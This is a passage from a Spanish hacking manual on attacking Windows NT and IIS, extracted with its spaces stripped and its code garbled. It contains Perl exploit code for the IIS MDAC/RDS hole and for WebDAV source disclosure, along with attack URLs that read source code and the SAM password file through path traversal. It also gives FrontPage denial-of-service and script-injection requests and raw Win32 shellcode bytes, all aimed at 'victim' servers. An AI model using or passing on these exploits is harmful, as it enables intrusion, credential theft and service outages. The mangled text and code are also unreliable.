my@results=sendraw(make_header().make_req(5,$in,""))
my$temp=odbc_error(@results)
verbose($temp)return1if($temp=~/MicrosoftAccess/)
return0}
##########################################################
subrun_query{
my($in)=@_
$reqlen=length(make_req(3,$in,""))28
$reqlenlen=length("$reqlen")
$clen=206+$reqlenlen+$reqlen
my@results=sendraw(make_header().make_req(3,$in,""))
return1ifrdo_success(@results)
my$temp=odbc_error(@results)verbose($temp)
return0}
##########################################################
subknown_mdb{
my@drives=("c","d","e","f","g")
my@dirs=("winnt","winnt35","winnt351","win","windows")
my$dir,$drive,$mdb
my$drv="driver={MicrosoftAccessDriver(*.mdb)}dbq="
#thisissparse,becauseIdon'tknowofmany
my@sysmdbs=("\\catroot\\icatalog.mdb",
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"\\system32\\certmdb.mdb",
"\\system32\\certlog\\certsrv.mdb")#theseare%systemroot%
my@mdbs=("\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"\\cfusion\\cfapps\\forums\\forums_.mdb",
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"\\cfusion\\cfapps\\security\\realm_.mdb",
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
"\\cfusion\\database\\cfexamples.mdb",
"\\cfusion\\database\\cfsnippets.mdb",
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
"\\cfusion\\brighttiger\\database\\cleam.mdb",
"\\cfusion\\database\\smpolicy.mdb",
"\\cfusion\\database\cypress.mdb",
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"\\website\\cgiwin\\dbsample.mdb",
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
)#thesearejust\
foreach$drive(@drives){
foreach$dir(@dirs){
foreach$mdb(@sysmdbs){
print"."
if(create_table($drv.$drive.":\\".$dir.$mdb)){
print"\n".$drive.":\\".$dir.$mdb."successful\n"if
(!defined$args{V})
if(run_query($drv.$drive.":\\".$dir.$mdb)){
print"Success!\n"save(4,4,$drive.":\\".$dir.$mdb,"")exit
}}}}}
foreach$drive(@drives){
foreach$mdb(@mdbs){
print"."
if(create_table($drv.$drive.$dir.$mdb)){
print"\n".$drive.$dir.$mdb."successful\n"if
(!defined{V})
if(run_query($drv.$drive.":".$dir.$mdb)){
print"Success!\n"save(4,4,$drive.$dir.$mdb,"")exit
}}}}
}
##########################################################
subhork_idx{
print"\nAttemptingtodumpIndexServertables...\n"
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

45/83

27/11/2014

LaBibliadelNT

print"NOTE:Sometimesthistakesawhile,othertimesitstalls\n\n"
$reqlen=length(make_req(4,"",""))28
$reqlenlen=length("$reqlen")
$clen=206+$reqlenlen+$reqlen
my@results=sendraw2(make_header().make_req(4,"",""))
if(rdo_success(@results)){
my$max=@resultsmy$cmy%d
for($c=19$c<$max$c++){
$results[$c]=~s/\x00//g
$results[$c]=~s/[^azAZ09:~\\\._]{1,40}/\n/g
$results[$c]=~s/[^azAZ09:~\\\._\n]//g
$results[$c]=~/([azAZ]\:\\)([azAZ09_~\\]+)\\/
$d{"$1$2"}=""}
foreach$c(keys%d){print"$c\n"}
}else{print"Indexservernotinstalled/queryfailed\n"}}
##########################################################
subdsn_dict{
open(IN,"<$args{e}")||die("Can'topenexternaldictionary\n")
while(<IN>){
$hold=$_$hold=~s/[\r\n]//g$dSn="$hold"print"."
nextif(!is_access("DSN=$dSn"))
if(create_table("DSN=$dSn")){
print"$dSnsuccessful\n"if(!defined$args{V})
if(run_query("DSN=$dSn")){
print"Success!\n"save(3,3,"DSN=$dSn","")exit}}}
print"\n"close(IN)}
##########################################################
subsendraw2{#rippedandmoddedfromwhisker
sleep($delay)#it'saDoSontheserver!Atleastonmine...
my($pstr)=@_
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0)||
die("Socketproblems\n")
if(connect(S,pack"SnA4x8",2,80,$target)){
open(OUT,">raw.out")my@in
select(S)$|=1print$pstr
while(<S>){printOUT$_push@in,$_printSTDOUT"."}
close(OUT)select(STDOUT)close(S)return@in
}else{die("Can'tconnect...\n")}}
##########################################################
subcontent_start{#thiswilltakeintheserverheaders
my(@in)=@_my$c
for($c=1$c<500$c++){
if($in[$c]=~/^\x0d\x0a/){
if($in[$c+1]=~/^HTTP\/1.[01][12]00/){$c++}
else{return$c+1}}}
return1}#itshouldnevergethereactually
##########################################################
subfunky{
my(@in)=@_my$error=odbc_error(@in)
if($error=~/ADOcouldnotfindthespecifiedprovider/){
print"\nServerreturnedanADOmiscofigurationmessage\nAborting.\n"
exit}
if($error=~/AHandlerisrequired/){
print"\nServerhascustomhandlerfilters(theymostlikelyarepatched)\n"
exit}
if($error=~/specifiedHandlerhasdeniedAccess/){
print"\nADOhandlersdeniedaccess(theymostlikelyarepatched)\n"
exit}}
##########################################################
subhas_msadc{
my@results=sendraw("GET/msadc/msadcs.dllHTTP/1.0\n\n")
my$base=content_start(@results)
returnif($results[$base]=~/ContentType:application\/xvarg/)
my@s=grep(/^Server:/,@results)
if($s[0]!~/IIS/){print"Doh!They'renotrunningIIS.\n"}
else{print"/msadc/msadcs.dllwasnotfound.\n"}
exit}
##########################################################
subget_name{#thiswasaddedlastminute
my$msadc=<<EOT
POST/msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineNameHTTP/1.1
UserAgent:ACTIVEDATA
Host:$ip
ContentLength:126
Connection:KeepAlive
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

46/83

27/11/2014

LaBibliadelNT

ADCClientVersion:01.06
ContentType:multipart/mixedboundary=!ADM!ROX!YOUR!WORLD!numargs=0
!ADM!ROX!YOUR!WORLD!
EOT
$msadc=~s/\n/\r\n/g
my@results=sendraw($msadc)
my$base=content_start(@results)
$results[$base+6]=~s/[^AZaz09!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g
print"Machinename:$results[$base+6]\n"}
##########################################################
#Note:Thisisnotagoodexampleofprecisioncode.Itisvery
#redundantandhasafewkludges.Ihavebeenaddingfeaturesinoneat
#atatime,soithasresultedinredundantfunctionsandpatchedcode.
#Iwillberewritingitinthefuture,sometime.Lookforthenewercode
#revisionsatwww.technotronic.com/rfp/
#ThismayalsobeincludedintheNTPTK/P.Ifyoudon'tknowwhatthat
#is,justwaitandsee.:)
##########################################################
<>
Finalizaelcodigo

[6.1.6Elbugdelos.idcy.ida]

Estebugpermitesaberenquedirectorioestamontadoelservidorweb.
Estoessumamenteimportante,sobretodosiestamosintentandosacarel
ficheroSAMmedianteotravulnerabilidad,yaquesilaunidaddondeesta
montadoslosdirectoriowebesunaunidadaisladasoloparaesto,por
ejemplo,noseencontraranlosSAM.Ademas,elquetedevuelvalaruta
permitehacerteunapeque~aideasobrecomotienenmontadossusdirectorios.
Unejemplo:
Peticion:www.servidor.com/fichero_falso.html.idc
Respuesta:"Cannotopenc:\inetpub\wwwroot\fichero_falso.html.idc"
Estonosindicaquetienenlosdirectoriosdelawebenlaunidadde
sistema,loqueparaconocerlarutaexactadeficherosclavecomolosSAM,
encasodequeporcualquierdeterminadobugpodamosaccederaellos.

[6.1.7Viendoelcodigodelos.aspydedemasficheros]

AcontinuacionmuestrounaseriadebugsdelIISquepermitenverel
codigodecasicualquierarchivodelservidor,entreelloslos.asp.
Quizaospregunteisquetienedeespecialun.aspquenotengaotro
ficherocualquiera.Larespuestaesquesueleproporcionarinformacionmuy
jugosa,comoeselcasodenombresdeusuarioycontrase~as...hayradicasu
importancia.

[6.1.7.1Elbugdelpuntoen.asp]

Estebugnonecesitademasiadaexplicacion...tansolohayquea~adirun
puntoenlaurldelapeticiondel.aspparapoderbajarseelcodigo.
Ejemploalcanto:
http://www.maquinavictima.es/formulario.asp.

[6.1.7.2Elbugdel+.htr]

Otrobugextremadamentedificildeexplotar,consisteena~adirdetras
delarchivolaextension+.htr.Ejemplo:
http://www.maquina.com/fichero.asp+.htr
Estebugfuncionaenarchivos.ASPy.ADA.

[6.1.7.3ElbugdeNull.htw]

IIScorriendojuntoIndexServerposeeunavulnerabilidadquepermite
verelcodigodecualquierarchivo.ElbugseaprovechadelficheroNull.htw
corriendoconIndexServerparadichofin.
Demaneraquesiqueremosverelcodigofuentedealgunficherotansolo
tenemosqueseguirunaurldeestetipo:
http://www.maquina.es/null.htw?CiWebhitsfile=/archivo.asp%20&%20
CiRestriction=none%20&%20&CiHiliteType=full
Comohabeisvisto,anull.htwlepasamoscomoargumento"CiWebhitsfile",
queesunadelas3variablesquenull.htwpermitequeseandefinidasporel
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

47/83

27/11/2014

LaBibliadelNT

usuario...yquenosolonospermitiranverelcodigodelosarchivosdel
arboldeweb,sinoqueademasnospermiteespacardelarboldelawebyasi
podermovernosportodalaunidad...conloquepodriamoscogerelSAM,
copiarlo,expandirlo,ycrackearlo.
Porcierto,dondeponenull.htw,podiahabercualquiernombredearchivo.
LoqueelnombredeNullquieredeciresqueesunarchivonulo,queno
existeenelsistema.Nohacefaltaquehayaficheros.htwenelsistema
paraqueelbugfuncione.

[6.1.7.4ElbugdeISM.DLL]

Estebugnospermitiraverelcodigodecualquierarchivodentrodel
arboldelaweb.Elbugconsisteenenga~aralservidorIIShaciendolecreer
quesolicitamosunarchivo.htrcuandoenrealidadnoesasi.
Paraexplotarestebugtenemosqueformularlealservidorunapeticionde
estetipo:
http://www.lavictima.com/pagina.asp(aquiirian230"%20")pagina.asp.htr
Cabedestacarquesolosepuedeexplotarestebugunavezpormaquina,a
menosquesereinicieelservicioweb,demaneraqueISM.DLLsevolveriaa
cargarenmemoria.

[6.1.7.5ElbugdeShowcodeyCodebrws]

Estosdosarchivosdetipo.aspsonvisoresdearchivos,loscualesnose
instalanpordefectoenIISsinembargosielAdministradorlosinstalara,
parapracticarconellosoloquesea,elinstrusolospuedeaprovecharpara
verelcodigodecualquierfichero.
Estoesasidebidoaqueestosficherosnoponenningunarestriccionpara
determinarquearchivospuedeonopuedeacceder,demaneraquesiel
intrusosabelarutaexactadeunficheroenelservidor,podriaaccedera
elpasandoselocomoargumentoaunodeestosdosficheros.
Veamosunejemplo.Supongamosquesabemosqueenlaparticionenlaque
tieneinstaladoIIStieneeneldirectorioraizunficherollamadopass.txt,
yqueremosverlo.Lehariamoslasiguientepeticionalservidor:
http://www.lavictima.com/msadc/samples/selector/showcode.asp?source=
/msadc/../../../../pass.txt
Yyaestaria.
QuizaosesteispreguntandoporquenocogerelarchivoSAM.Nolocogemos
porqueShowcodeyCodebrwsnosoncapacesdeprocesarloscaracteresde
controldedichoarchivo,conloquetendriamosunarchivoSAMdiferentedel
original,alavezqueinservible.

[6.1.7.6Elbugdewebhits.dllylosficheros.htw]

YarepasamosunbugdeNull.htw,elcualgraciasalavariable
"CiWebhitsfile"nospermitiaverelcodigodecualquierarchivo,pudiendo
ademasescapardelarboldelaweb.Puesenestecasoesmasdelomismo,ya
queelbugeselmismoqueelyavistoanteriormente,soloqueestavezva
asociadoawebhits.dll
Estalibreriaeslaquenegociaconlaspeticiones,yestatieneelfallo
dequepermitequelavariableCiWebhitsfilepermitaaccederacualquier
fichero,pudiendotenerelcodigodecualquierarchivo.
Paraestecasosenecesitatenerun.htwrealenelservidor...sineso
nopodemosexplotarelbug.Acontinuacionsemuestranlasrutasdealgunos
ficheros.htwpordefecto,lascualesvienencomoejemploenIISparaque
eladminpractiqueytal...
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw
Ybueno,conesto,sabiendoqueseexplotaigualqueelbugdelnull.htw
yconlasmismascaracteristicas,nospodremoshacerunaideadelaurlque
sehabrademeterenelnavegadorparaaprovecharnos...no?.Bueno,que
sirvalasiguientecomoejemplo:

http://www.maquina.es/iissamples/issamples/oop/qfullhit.htw?ciwebhitsfile=
/../../winnt/repair/sam._&cirestriction=none&cihilitetype=full
Conloquesolotendriamosqueseguirlostipicospasoquepasode
volverarepetirlos.

[6.1.7.7Elbugdel::$DATA]
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

48/83

27/11/2014

LaBibliadelNT

Estaarchiconocidavulnerabilidad,queafectaatodaslasversionesdel
IIShastala4.0,seaprovechadecomoIISanalizalosnombresdearchivo
queselepiden,demaneraquedesdeelnavegadorsepuedeaccederalcodigo
fuentedeunarchivo.aspo.vbd.
Elbugconsisteeninsertaralfinaldelaurllaextension::$DATA.De
esamaneratepodrasbajarelcodigofuenteyeditarloenbuscade
informacioninteresante.
Unejemploseriaelsiguiente:
http://www.maquina.es/ventas/formulario.asp::$DATA

[6.1.7.8Adsamples]

Dichobugpermiteaccederacualquieraaccederalficherosite.cscsin
ningunimpedimento,porloquesielatacantelobaja,podraverinformacion
muyinteresantequenodebierapoderverlacualquiera...comolasDSN,o
nombresdeusuarioycontrase~asdelabasededatos.
Dichoficheroseencuentrapordefectoeneldirectoriovirtual
adsamples/config/site.csc.Unejemplo:
www.maquinavulnerable.com/adsamples/config/site.csc

[6.1.7.9ElbugdeWebDAV]

Estebugpermitebajarelcodigodecualquierarchivodelservidorenel
arboldelaweb.Dichobugsebasaenunproblemadelasextensionesde
FrontPage2000yunproblemadeimplementacionenOffice2000.
Bastacona~adirenlascabecerasdeunapeticion"GET"deHTTPla
cabeceratranslate:fparapoderverelcodigodelficheroquesepide.Vamos
aexplicarmasafondounpocoelbug.
translate:fesunacabeceraexclusivadeWebDAV,yesusadoenlos
clientescompatiblesconesteyenFrontpage2000parapodereditarel
ficheroqueseestapidiendo.Peroamasdeunoleagradarasaberquepasara
siincluimoslabarralateral'/'alfinaldelapeticionGET...
Aquiseincluyeunscriptenperlquepodreisencontrarencualquierlado
quesirveparagenerarpeticionesgetdeeseestiloparaaprovecharnosdel
bug.

Comienzaelcodigo
<++>xploits/webdav.pl
#############################
useIO::Socket#
my($port,$sock,$server)#
$size=0#
#############################
#
$server="$ARGV[0]"
$s="$server"
$port="80"
$cm="$ARGV[1]"
&connect
subconnect{
if($#ARGV<1){
howto()
exit
}
$ver="GET/$cm%5CHTTP/1.0
Host:$server
Accept:*/*
Translate:f
\n\n"
my($iaddr,$paddr,$proto)
$iaddr=inet_aton($server)||die"Error:$!"
$paddr=sockaddr_in($port,$iaddr)||die"Error:$!"
$proto=getprotobyname('tcp')||die"Error:$!"
socket(SOCK,PF_INET,SOCK_STREAM,$proto)||die"Error:
$!"
connect(SOCK,$paddr)||die"Error:$!"
send(SOCK,$ver,0)||die"Can'ttosendpacket:$!"
open(OUT,">$server.txt")
print"Dumping$cmto$server.txt\n"
while(<SOCK>){
printOUT<SOCK>
}
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

49/83

27/11/2014

LaBibliadelNT

subhowto{
print"typeasfollows:Trans.plwww.victim.comcodetoview.asp\n\n"
}
closeOUT
$n=0
$type=2
close(SOCK)
exit(1)
}
<>
Finalizaelcodigo

[6.1.7.10ConclusionalosataquesIIS]

Bien,comosehavisto,IISposeemuchosfallos,porloqueunservidor
deIISquenoestetotalmenteparcheadoesunservidormuyvulnerable.Bien
pensado,atacaralIISresultaunadelasmanerasmaslimpiasdehackearun
NT...alloro.

[6.2VulnerabilidadesdeFrontpage]

PasemosahoraaverlosbugsdelFrontpage2000.Esteproductotambien
estaservidodeunaricayvariadagamadebugs,loscualesnovanapoder
sertodosmostradosporcuestionesdeespacio.Noscentraremosenlaversion
2000defrontpageserver,queactualmenteeslamasusada.

[6.2.1DoSalasextensiones]

Estesencillobugconsisteenrealizardemaneraconseutiva,peticiones
alarchivoshtml.dlldelservidor.LaformadelaURLserialasiguiente:
http://www.maquina.com/_vti_bin/shtml.dll.Sepodriahacerunprograma
simplonquehicieserepetidaspeticionesGETaesearchivo,conloqueen
cuestiondesegundoselservidorsebloquearia.

[6.2.2OtroDoSalasextensionesgraciasaMsDos]

EsteDoSseaprovechadelosrecursosdeMsDos(oMsDoS))para
colgarelsistema.Medianteshtml.exeesposibleaccederadichosrecursos,
demaneratal:
http://www.victima.com/_vti_bin/shtml.exe/com1.htm
Podriamoshaberpuestoenlugardecom1otrorecursodemsdos,comoaux,
nul,prn,con(dequemesonaraeste?),etc.
SinembargoesteDoSnoseraefectivoamenosqueefectuemoslaoperacion
variasvecesseguidas.Sinosehicieraasi,elservidoraguantaria...silo
hacemosbiensetendraquereiniciarelsistemaoreiniciarIISparapoder
seguirconnormalidad.

[6.2.3Scriptingconshtml.dll]

Estese~orbugafectaalasextensionesdeFrontpageserver1.2siestas
seencuentraninstaladasenunservidorIIS.Elfalloconsisteenquesien
unapeticionalarchivoshtml.dllincluimosalfinaldeestamastexto,el
servidorgeneraraunerrorapartirdeesetexto...pero,quepasariasiese
textoesunscript(noimportaellenguaje)?,puescomoelservidordevuelve
unerrorapartirdeltextoa~adidoalaurl,siestecontieneuncodigoque
elnavegadorpuedainterpretar,esteseejecutaraenellamaquinacliente.
Comoejemplo,observarlasiguienteurl:
http://www.maquina.es/_vti_bin/shtml.dll/<SCRIPT>codigo</SCRIPT>
Elprocedimientoeseste:nosotroslehacemosunapeticionconnuestro
codigo,elservidornosreenviaestecodigojuntounmensajedeerror,y
nuestronavegadorinterpretaelcodigoejecutandosucontenido.
Claro,queestefallonoposeemucharelevanciadeporsisinopudiera
seraprovechadoporterceros...veamosahoraunlinkcolocadoenunapagina
webcualquieraqueexplotariaelbug:
<ahref="http://victima.es/_vti_bin/shtml.dll/<SCRIPT>codigo...</SCRIPT>">
http://victima.es</a>
Elvisitanteveracomoellinkpareceenviarnosavictima.es,pero,por
ejemplosiusawindowsconnetscapeoi.exploreralpasarelratonpor
encimaveraadondeapuntarealmenteellink.Estosepodriaocultarconun
peque~ocodigojavascriptenlapagina...
Entonces:Paraquesirveestebug?Puesparaejecutarenlamaquina
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

50/83

27/11/2014

LaBibliadelNT

clienteelcodigoscriptquequieras.Obviamentedeberemosespecificarenla
etiquetadeiniciodescriptellenguajedescriptsquevamosautilizar.
SesehubierausadoestebugparaexplotarlavulnerabilidaddeActiveX
descubiertaporlagentedelCCC,losefectoshubieransidotremendos.Que
sirvacomoejemploparaverlatrascendenciadelbug.

[6.2.4Otravezlasextensiones]

Estebugcausalasmismasconsecuenciasqueelbugdelos.idcy.idade
IIS.Nosdevuelvelarutadelservidorweb.Enestecasoparaconseguirla
rutadeberemoshacerunapeticiondeestetipo:
http://www.maquina.es/_vti_bin/shtml.exe/archivo_que_no_exista.html

[6.2.5ConclusionaFrontpage]

ComohemosvistoFrontpageposeebugsquepuedencomprometerlaseguridad
y/oestabilidaddelsistema,muyfacilesdeexplotar.Estosedeberiatener
encuenta,yseguirlasnoticiassobrelaseguridaddefrontpagemuyde
cerca.Aquisolosehanvistounospocos,losmasrecientes.Paraveruna
galeriaenteradebugsdeesteyotrosproductos,lodesiempre,mirarosel
apendice.

[7Elregistro]

Elregistroeslabasededatoscentralizadadelaconfiguracionde
Windows,enelguardaninformacionlosprogramas,ysobretodoelsistema
operativoensi.Aprenderautilizarelregistronosayudaradesdeapoder
personalizarengranpartenuestroWindows(sealaversionquesea),hasta
poderviolarlaseguridaddelsistemacondiferentestrucos,pasandoporel
crackeodeaplicaciones.
AquimebasareenelregistrodelosW2K.SinembargotodalafamiliaWin
comparteunosgrandesparecidosenello.
ParalosqueyasepaisalgodelregistrodeW95,decirosqueadiferencia
deesteNTnoutilizalasubestructuraHKEY_DYN_DATA.

[7.1Estructuradelregistro]

ElregistrodeNTestadivididoen5subestructuras:HKEY_CLASSES_ROOT,
HKEY_CURRENT_USER,HKEY_LOCAL_MACHINE,HKEY_USERSyHKEY_CURRENT_CONFIG.
Vamosaanalizarlas.

HKEY_CLASSES_ROOT

Estasubestructuramantieneunalistadelasextensionesdelosarchivos
enlazadosaaplicacionesdeterminadas.Tambiencontieneinformacionsobre
lasoperacionesOLE(ObjectLinkingAndEmmedding),etc.
Desdeaquipodriamosa~adirlaextension.loquesea,ydefinirla,de
maneraqueeladmincuandovealadescripciondeltipodearchivoverala
quenosotroshayamospuesto.Tambienpodemoscambiarlasdefinicionesde
otrosficheros,porejemplo,poneralos.exeladescripcion"Documento
detexto",etc.EstoesutilalahoradeprogramarIWorms.

HKEY_CURRENT_USER

Estaclavecontienelaconfiguraciondelentornodelescritorio,delos
programas,delentornodelusuario,etc.
Aquipodemosdiferenciar7subclaves:

AppEvents:Enestasubclaveseencuentralaconfiguraciondelos
sonidosdeWindows.
Console:ConfiguracionsobrelaconsoladelDOS.
ControlPanel:Aquisealmacenalaconfiguracionsobrelosdistintos
dispositivosdeentrada/salidadelsistema,ademasde
laconfiguraciondelagranpartedeloselementosdel
paneldecontroldeWindows.
Environment:Rutadelosdirectoriosdearchivostemporales.
Identities:Contieneinformacionsobrelasidentidadesqueelusuario
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

51/83

27/11/2014

LaBibliadelNT

actualposeeendistintosprogramas(outlook,etc.)
Software:Estacontieneinformaciondelosdistintosprogramasquese
encuentraninstalados.
System:Infomaciondelsistemaenlasesionqueseencuentraelusuario
local.

EstassonlasllavesquesiemprehayenlosNT...luegopuedehabermas,
pueshayaplicacionesquecreanllavesendichoapartado.

HKEY_LOCAL_MACHINE

Estasubestructuraessumamenteinteresante,puesenellasemuestranlas
configuracionesdelsistema,desuhardware,controladores,aplicaciones,
etc.
Estasedivideen5subestructuras,queson:

HKEY_LOCAL_MACHINE\Hardware:Enestallavesealmacenanlosdatossobre
losdriversdelsistemayloscomponentes
delhardware.
HKEY_LOCAL_MACHINE\SAM:Informacionsobrelosusuariosdelsistema,sus
passwords...
HKEY_LOCAL_MACHINE\Security:Informacionsobrelosprivilegiosdelos
usuarios,etc.
HKEY_LOCAL_MACHINE\Software:Informacionsobretodoelsoftwarequese
encuentrainstaladoenelsistema.
HKEY_LOCAL_MACHINE\System:AquisealmacenalainformacionqueNT
necesitaparaarrancarelsistema.

HKEY_USERS

IgualqueHKEY_CURRENT_USERperoconunasubestructuraparacadausuario
delsistema.

HKEY_CURRENT_CONFIG

Estasubestructuracontieneinformacionsobrelaconfiguracionactualde
distintosdispositivosdelsistema,ylaconfiguraciontambiendelas
propiedadesdeinternet,etc.

[7.2Vulnerabilidadesdelregistro]

Launicavulnerabilidaddelregistroessumalaconfiguracion.Loprimero
quesedebieratenerencuentaesquenosedebepermitiraccederal
registrodeformaremota.Sisepermitieraelaccesoremotoalregistro,se
hadetenerencuentamucholospermisos.Hayciertaszonasenlasqueel
usuarionodeberiapoderescribir.Podria,porejemplo,cambiarlarutade
programas,apuntandoaotrosquelebeneficienael,ocausarcaosenel
sistema,etc.Esalgoquehayquetenermuyencuenta.
Paraaccederremotamentealregistrosolohacefaltaconectarseael
desderegedit,regdt32,porejemplo.

[7.3Conclusionsobreelregistro]

Comosehavisto,elregistroesel"AlmaMater"deNT,ytambienseha
vistoquehayciertasestructurasconinformacionsensiblequenodebieran
poderescribirse.
Sinembargo,todoloquesehadichoaquidelregistroesrealmentepoco.
Paralosquequieransabermas,puedenpasarseporelapendice,donde
encontraranreferenciasaotrosdocumentos.

[8DesbordamientosdepilaenNT]

Losbufferoverflows(llamadosBOFSporbrevedad)quetantoafectana
todotipodeu*x,nuncafueronunproblemaparaNT.Hastahacepoco.Elque
NTseadecodigocerrado,asicomocasitodoelsoftwarequeparaelse
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

52/83

27/11/2014

LaBibliadelNT

desarrolla,nohaimpedidoqueselehayandescubiertovariosfallosde
programacionvulnerablesaldesbordamientodebuffer.Recordemoscomo
MnemonixdescubrioyaelbugenRasmanyWinhlp32,comodarkspyrit
descubriounoenIIS,etc.Aunquenosobrepasendemucholadecenasonya
unaseriaamenaza,ysepreveequecontodoslosdocumentos/tutorialesque
hayacercadeltema,seanlaplagadeNTdeaquianomucho.
NovoyadescribirlosconceptosdeunBOF,novoyaescribiracercade
algodeloquesehaescritotanto,yademasmejordeloqueyopudiera
hacerlo.Encambio,incluire2shellcodesrelativamenterecientes,que
seguroquemasdeunosabrasacarpartido.TodassonparaW2K.
Luego,quienquieraaprendercomoseprovocanlosBOFS,suteoria,etc.,
puedenmirarseelarticuloenSET22deMnemonixtraducidoporFCA00000:
"BufferOverflows:Rasman&Winhlp32",quetratalosbofsenentornosWin32,
conlosejemplosdelrasmanywinhlp32oenSET21eldeDoing:"ASMy
BufferOverflows",quetratalosBOFSengeneral.Mirarelapendice,donde
incluyootrasreferencias.

[8.1Shellcodes]

Yacontinuacionincluyounodelas2shellcodes,estacreadapor|zan,
delgrupodeepzone(http://www.deepzone.org).

Comienzacodigodeshellcode
<++>xploits/shellcode.asm
beginx86/asm
LLB1equ(00hxor99h)
LLB2equ(00hxor99h)
LLB3equ(00hxor99h)
LLB4equ(00hxor99h)
GPB1equ(00hxor99h)
GPB2equ(00hxor99h)
GPB3equ(00hxor99h)
GPB4equ(00hxor99h)
DeepZone_w32ShellCode:
db068h,05eh,056h,0c3h,090h,054h,059h,0ffh,0d1h
db058h,033h,0c9h,0b1h,01ch,090h,090h,090h,090h
db003h,0f1h,056h,05fh,033h,0c9h,066h,0b9h,095h
db004h,090h,090h,090h,0ach,034h,099h,0aah,0e2h
db0fah,071h,099h,099h,099h,099h,0c4h,018h,074h
db040h,0b8h,0d9h,099h,014h,02ch,06bh,0bdh,0d9h
db099h,014h,024h,063h,0bdh,0d9h,099h,0f3h,09eh
db009h,009h,009h,009h,0c0h,071h,04bh,09bh,099h
db099h,014h,02ch,0b3h,0bch,0d9h,099h,014h,024h
db0aah,0bch,0d9h,099h,0f3h,093h,009h,009h,009h
db009h,0c0h,071h,023h,09bh,099h,099h,0f3h,099h
db014h,02ch,040h,0bch,0d9h,099h,0cfh,014h,02ch
db07ch,0bch,0d9h,099h,0cfh,014h,02ch,070h,0bch
db0d9h,099h,0cfh,066h,00ch,0aah,0bch,0d9h,099h
db0f3h,099h,014h,02ch,040h,0bch,0d9h,099h,0cfh
db014h,02ch,074h,0bch,0d9h,099h,0cfh,014h,02ch
db068h,0bch,0d9h,099h,0cfh,066h,00ch,0aah,0bch
db0d9h,099h,05eh,01ch,06ch,0bch,0d9h,099h,0ddh
db099h,099h,099h,014h,02ch,06ch,0bch,0d9h,099h
db0cfh,066h,00ch,0aeh,0bch,0d9h,099h,014h,02ch
db0b4h,0bfh,0d9h,099h,034h,0c9h,066h,00ch,0cah
db0bch,0d9h,099h,014h,02ch,0a8h,0bfh,0d9h,099h
db034h,0c9h,066h,00ch,0cah,0bch,0d9h,099h,014h
db02ch,068h,0bch,0d9h,099h,014h,024h,0b4h,0bfh
db0d9h,099h,03ch,014h,02ch,07ch,0bch,0d9h,099h
db034h,014h,024h,0a8h,0bfh,0d9h,099h,032h,014h
db024h,0ach,0bfh,0d9h,099h,032h,05eh,01ch,0bch
db0bfh,0d9h,099h,099h,099h,099h,099h,05eh,01ch
db0b8h,0bfh,0d9h,099h,098h,098h,099h,099h,014h
db02ch,0a0h,0bfh,0d9h,099h,0cfh,014h,02ch,06ch
db0bch,0d9h,099h,0cfh,0f3h,099h,0f3h,099h,0f3h
db089h,0f3h,098h,0f3h,099h,0f3h,099h,014h,02ch
db0d0h,0bfh,0d9h,099h,0cfh,0f3h,099h,066h,00ch
db0a2h,0bch,0d9h,099h,0f1h,099h,0b9h,099h,099h
db009h,0f1h,099h,09bh,099h,099h,066h,00ch,0dah
db0bch,0d9h,099h,010h,01ch,0c8h,0bfh,0d9h,099h
db0aah,059h,0c9h,0d9h,0c9h,0d9h,0c9h,066h,00ch
db063h,0bdh,0d9h,099h,0c9h,0c2h,0f3h,089h,014h
db02ch,050h,0bch,0d9h,099h,0cfh,0cah,066h,00ch
db067h,0bdh,0d9h,099h,0f3h,09ah,0cah,066h,00ch
db09bh,0bch,0d9h,099h,014h,02ch,0cch,0bfh,0d9h
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

53/83

27/11/2014

LaBibliadelNT

db099h,0cfh,014h,02ch,050h,0bch,0d9h,099h,0cfh
db0cah,066h,00ch,09fh,0bch,0d9h,099h,014h,024h
db0c0h,0bfh,0d9h,099h,032h,0aah,059h,0c9h,014h
db024h,0fch,0bfh,0d9h,099h,0ceh,0c9h,0c9h,0c9h
db014h,02ch,070h,0bch,0d9h,099h,034h,0c9h,066h
db00ch,0a6h,0bch,0d9h,099h,0f3h,0a9h,066h,00ch
db0d6h,0bch,0d9h,099h,072h,0d4h,009h,009h,009h
db0aah,059h,0c9h,014h,024h,0fch,0bfh,0d9h,099h
db0ceh,0c9h,0c9h,0c9h,014h,02ch,070h,0bch,0d9h
db099h,034h,0c9h,066h,00ch,0a6h,0bch,0d9h,099h
db0f3h,0a9h,066h,00ch,0d6h,0bch,0d9h,099h,01ah
db024h,0fch,0bfh,0d9h,099h,09bh,096h,01bh,08eh
db098h,099h,099h,018h,024h,0fch,0bfh,0d9h,099h
db098h,0b9h,099h,099h,0ebh,097h,009h,009h,009h
db009h,05eh,01ch,0fch,0bfh,0d9h,099h,099h,0b9h
db099h,099h,0f3h,099h,012h,01ch,0fch,0bfh,0d9h
db099h,014h,024h,0fch,0bfh,0d9h,099h,0ceh,0c9h
